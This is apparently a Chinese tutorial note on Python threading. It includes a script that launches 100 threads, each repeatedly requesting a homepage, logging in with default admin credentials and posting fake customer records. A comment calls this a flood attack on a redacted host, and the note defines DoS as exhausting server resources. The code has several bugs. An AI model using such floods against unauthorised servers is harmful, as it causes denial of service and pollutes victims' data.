多线程与流量泛洪
并发操作
如果一个单核的cpu,是并不存在严格意义的并发,只是因为处理时间极短,所以感觉上是并发操作的。
针对多核CPU,4核CPU,严格意义上的并发处理是4个
线程和进程
- 每一个应用程序,至少会有一个进程,并且拥有PID(进程ID)和独立的内存空间。
- 每一个进程至少拥有一个线程,而线程并没有独立的内存空间。
泛红初体验之thread.py
import threading
import time,random
# 单线程情况下,下述代码执行或消耗5秒钟的时间
def test_01():
print(threading.currentThread().getName()) # 输出当前线程的名字
for i in range(5):
print(time.strftime('%Y-%m-%d %H:%M:%S'))
time.sleep(1)
# 使用多线程的方式输入5次时间
def test_02():
print(threading.currentThread().getName())
print(time.strftime('%Y-%m-%d %H:%M:%S'))
time.sleep(1)
session=requests.session()
def home():
url="xx.xx.xx"
resp=session.get(url)
if "xxxxxxxxx" in resp.text:
print("首页访问成功")
else:
print("首页访问失败")
def login():
data={'username':'admin','password':'admin','verifycode':'0000'}
resp=session.post(url=url,data=data)
if resp.test=='login-pass':
print('登陆成功')
else:
print('登陆失败')
def add():
data={'customername':'未知','customerphone':f'13{random.randint(30000000,999999999)}','childsex':'男','childdate':'2021-10-15','creditkids':'0','creditcloth':'0'}
resp=session.post(f"{url}/xxxx/customer/add",data=data)
if resp.text=="add-successful":
print("新增会员成功")
else:
print("新增会员失败")
# 基于HTTP协议,进行流量的泛洪,压力测试,性能测试
# 使用多线程模拟流量泛红(Flow Flood) 攻击xxx.xxx.xxx
def xxxxsales_flood():
for i in range(1000):
try:
home()
login()
add()
except:
pass
if __name__=='__main__':
# test_01() # 当python执行时,虽然没有手工启动线程,默认Python会启动一个主线程
# 并发启动5个线程
#for i in range(5):
# 实例化一个线程,target表示是哪个方法,将那个方法传过去,注意没有圆括号,有圆括号就是调用了,若目标函数有参数,在后面跟上args=(),以元组的方式传过去即可
# 或者这样描述,实例化一个线程,并且指定调用test_02函数
#t=threading.Thread(target=test_02)
# 启动线程
#t.start()
#test_02()
for i in range(100):
threading.Thread(target=wxxxxales_flood).start
DOS攻击的核心
利用常规技术或特殊技术,想办法消耗掉目标服务器的资源(CPU、内存、硬盘,带宽,连接数等),使其无法正常提供对外服务
小知识点:
装饰器
可以用于收集其响应时间
def performance(func):
def inner():
start=time.time()
func()
end=time.time()
print(f"请求:{func.__name__}的响应时间为:{end-start}")
return inner
@performance
def home():
url="xx.xx.xx"
resp=session.get(url)
if "xxxxxxxxx" in resp.text:
print("首页访问成功")
else:
print("首页访问失败")